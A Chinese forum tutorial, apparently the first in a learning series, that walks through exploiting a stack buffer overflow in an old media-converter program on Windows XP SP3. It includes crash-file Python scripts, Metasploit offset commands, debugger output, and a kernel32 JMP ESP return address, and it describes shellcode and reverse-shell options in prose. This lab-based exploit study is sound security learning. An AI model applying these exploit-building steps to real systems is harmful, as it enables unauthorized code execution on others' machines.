-
-
[原创]EXP编写学习 之 栈溢出(一)
-
发表于: 2022-4-27 23:39 8745
-
我是逆向练习生 ,羽墨
在逆向的大道上,最喜欢的一条分支就是二进制漏洞了,通过读书与网上资料,结合自己的理解,总结出来二进制漏洞的三个技术要点
漏洞挖掘 漏洞分析 漏洞利用
漏洞挖掘先不谈
漏洞分析与利用是基本功(相辅相成),看一下CVE的历史,有很多都是捕捉到了利用样本,安全研究员分析出来的0day漏洞(毕竟真正的“黑客”是不会公开0day的)那么必不可少的需要学习漏洞利用与分析技术。
所以我学习二进制漏洞就先从漏洞利用与分析开始,目前国内的漏洞书籍有 0day2 与 漏洞战争, 前者重点讲述了二进制漏洞的原理与windows安全机制,后者重点讲述了漏洞分析的技术且有一些EXP的分析。简单都看了一遍以后,发现对于漏洞利用技术的知识还是差的很远,别人的EXP堪称艺术,自己。。。惨不忍睹,所以找到了看雪各路大神翻译的EXP编写系列教程。
EXP编写系列教程用的perl脚本 因为不熟悉,所以这里我使用py(其实我是C语言爱好者 但没办法C代码太长了 所以用py现学现卖) 另外教程中没有对漏洞软件进行分析 ,所以顺带对漏洞软件进行了一波分析。。。
注:新手上路 如有错误请大佬指正
漏洞软件: https://www.exploit-db.com/exploits/10619
虚拟环境: Vmware Windows xp sp3 中文版
调试器: x32dbg ,windbg xp版
1.打开我好久没用过的pycharm
2.编写一个简单的py脚本用来生成测试文件,经过20000-30000的文件大小测试,我用了27000,因为要分析。。
3.打开后崩溃
1.我使用x32dbg 打开漏洞软件,并设置调试器处理异常,之后打开测试文件,程序异常断下,查看栈回溯
好的,是栈溢出,栈帧都破坏了,看不出来什么,那么怎么定位漏洞位置。别急,山人自有妙计
进入反汇编窗口,查看寄存器与栈窗口,看到BBP指向了测试文件,一般EBP都是保存栈底,如果指向了一个数据,那么这个数据一般是不会变动的,并且必然要作为参数用到(逆向经验),那么可以在EBP的附近找一下,在栈窗口转到EBP,发现了惊喜,EBP作为参数调用了一个函数,而且栈也没有被破坏,因为栈是向低地址增长的,所以这个位置的函数,必然是栈溢出之前的函数,由这个参数来推测,它必然会对测试文件做一些处理操作。
2.在找到的这个函数地址下断
3.重新调试,打开测试文件后断下,果然这个函数是用来处理文件的,具体做了些什么不清楚,但根据程序名,推测这是处理格式转换的
4.经过一路跟踪,发现了它调用fopne函数打开文件,按照编程惯例,之后马上会有fwrite调用来把文件内容写入缓冲区
5.继续跟踪,看到在一系列操作过后,来到了溢出位置(快速浏览汇编代码,找到对栈进行操作的位置)
6.可以看到在这里,在进行了大小计算后,对栈进行了赋值操作,本来想通过栈缓冲区大小来精准定位返回地址,但是经过计算,发现对文件进行操作的时候,文件的大小改变了,并且文件内容也有一些改变,应该是转换过程中的操作,所以没办法根据栈缓冲区大小来定位返回地址了。
7.分析到这里,漏洞成因也可以确定了,这个程序把数据读入缓冲区,经过一系列的处理后,写到了栈中,且没有比较大小,以数据大小来进行赋值,所以造成了栈溢出
1.漏洞利用精确覆盖返回地址
通过计算栈大小失败后,可以使用msf的pattern_create.rb 与 pattern_offset 来进行定位,cd到msf的工具目录,使用脚本(我使用kali来生成 windows也可以 但不推荐 环境配置会有很多坑)
2.使用上述两个脚本后,生成测试文件,再次调试,进行返回地址精确定位
这两个脚本的简单原理就是(可以-h查看帮助),通过它生成的畸形数据(每次生成都一样)来覆盖返回地址,然后覆盖返回地址以后,通过那个值来计算在测试数据中的偏移,以此来确定返回位置,进行精准打击
3.脚本返回的偏移为 1067 ,加上25000个A ,也就是文件里 26067的位置 , 继续写脚本进行测试 (偏移地址因环境而已)
4.好的,返回地址被覆盖为BBBB 也就是42424242
5.找到了返回地址的位置,那么要进行漏洞利用,还需要把shellcode放入程序中,并且需要让返回地址为shellcode地址或者nop区
众所周知,返回指令,可以附带操作数,也就是返回时弹出几个字节,所以我们需要确定到底返回了几个字节,根据之前的漏洞分析环节,找到漏洞位置后,直接F9,可以到返回指令 retn 4
另一个办法,修改char2部分的数据,修改后生成测试文件进行测试,查看esp,会得到同样的结论
6.shellcode一般不可以包含 0x00 ,会被截断
7.现在已经知道了返回会弹出4个字节,所以py脚本这样写,shellcode为xp sp3 弹出计算器的代码(比较简单,自己用汇编写了,如果想研究一下shellcode,可以把shellcode拷贝到调试器中,调整EIP直接运行即可看到代码)
8.那么现在需要确定返回地址了,返回地址覆盖时,同样不可以包含NULL字符,另外由于栈地址有一定的随机性,所以使用跳板指令jmp esp来达到我们的目的
9.搜索跳板地址的话,MSF有个小工具可以使用,msfpescan(这里不使用了)
根据教程,使用windbg 命令lmi (也可以使用OD的插件 OllyFindAddr)
然后使用搜索内存指令,我搜索的是kernel32 FF E4为JMP ESP 指令机器码 , 可以在调试器中修改汇编指令查看
10.在py脚本中, retaddr换成 "\x7b\x46\x86\x7c" 小端序 , 如果你的一些字符在py中出现编码问题,在字符串前加b,并且文件以wb模式写入
11.生成EXP文件,进行测试,由于我的shellcode中,最后使用了ExitProcess 所以没有弹出崩溃窗口(如果读者对跳板指令不熟悉,可以跟踪调试一下,就会理解其中原理)
12.如果想使用别的shellcode(例如反弹shell),可以自己编写,或者使用msf的shellcode模块,生成时可以选择shellcode功能与编码方式(由于利用较为简单,不使用了,后续使用会说明用法)
1.使用样本测试到漏洞分析
2.漏洞分析找到漏洞成因
3.熟悉python编程并写出EXP代码
4.一些小技巧,例如windbg指令,分析技巧,需要读者自己去总结了
5.由于这个软件没有任何安全机制,所以不展开讨论,后续章节再详细解析
看雪 EXP编写系列教程 第一章
#!/usr/bin/python
# -*- coding: UTF-8 -*-
char
=
"\x41"
*
27000
Fileptr
=
open
(r
'crash.m3u'
,
'w'
)
Fileptr.write(char)
Fileptr.close()
print
(
"CreatFile Success"
)
#!/usr/bin/python
# -*- coding: UTF-8 -*-
char
=
"\x41"
*
27000
Fileptr
=
open
(r
'crash.m3u'
,
'w'
)
Fileptr.write(char)
Fileptr.close()
print
(
"CreatFile Success"
)
.
/
pattern_create.rb
-
l
5000
>
/
home
/
kali
/
Desktop
/
test.txt
.
/
pattern_create.rb
-
l
5000
>
/
home
/
kali
/
Desktop
/
test.txt
#!/usr/bin/python
# -*- coding: UTF-8 -*-
char
=
"\x41"
*
25000
Fileptr
=
open
(r
'crash.m3u'
,
'w'
)
testfile
=
open
(r
'test.txt'
,
'r'
)
teststr
=
testfile.read()
Fileptr.write(char)
Fileptr.close()
testfile.close()
print
(
"CreatFile Success"
)
#!/usr/bin/python
# -*- coding: UTF-8 -*-
char
=
"\x41"
*
25000
Fileptr
=
open
(r
'crash.m3u'
,
'w'
)
testfile
=
open
(r
'test.txt'
,
'r'
)
teststr
=
testfile.read()
Fileptr.write(char)
Fileptr.close()
testfile.close()
print
(
"CreatFile Success"
)
(e94.
8bc
): Access violation
-
code c0000005 (first chance)
First chance exceptions are reported before
any
exception handling.
This exception may be expected
and
handled.
eax
=
00000001
ebx
=
00104a58
ecx
=
7c93003d
edx
=
00aa0000
esi
=
77c2fce0
edi
=
00007530
eip
=
366a4235
esp
=
000ffd38
ebp
=
00104678
iopl
=
0
nv up ei pl nz ac pe nc
cs
=
001b
ss
=
0023
ds
=
0023
es
=
0023
fs
=
003b
gs
=
0000
efl
=
00010216
366a4235
?? ???
(e94.
8bc
): Access violation
-
code c0000005 (first chance)
First chance exceptions are reported before
any
exception handling.
This exception may be expected
and
handled.
eax
=
00000001
ebx
=
00104a58
ecx
=
7c93003d
edx
=
00aa0000
esi
=
77c2fce0
edi
=
00007530
eip
=
366a4235
esp
=
000ffd38
ebp
=
00104678
iopl
=
0
nv up ei pl nz ac pe nc
cs
=
001b
ss
=
0023
ds
=
0023
es
=
0023
fs
=
003b
gs
=
0000
efl
=
00010216
366a4235
?? ???
.
/
pattern_offset.rb
-
q
366a4235
-
l
5000
[
*
] Exact match at offset
1067
.
/
pattern_offset.rb
-
q
366a4235
-
l
5000
[
*
] Exact match at offset
1067
#!/usr/bin/python
# -*- coding: UTF-8 -*-
char
=
"\x41"
*
26067
retaddr
=
"BBBB"
char2
=
'C'
*
1000
Fileptr
=
open
(r
'crash.m3u'
,
'w'
)
Fileptr.write(char
+
retaddr
+
char2)
Fileptr.close()
print
(
"CreatFile Success"
)
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
赞赏
- [原创]补丁分析到滥用GDI对象提权实践 18766
- [原创]震惊!万字长文详解CVE-2014-1767提权漏洞分析与利用(x86x64) 19670
- [原创]Typora 破解 之 我的内存我做主(下) 21834
- [原创]EXP编写学习 之 绕过SafeSEH(五) 16715
- [原创]EXP编写学习 之 绕过GS(四) 11382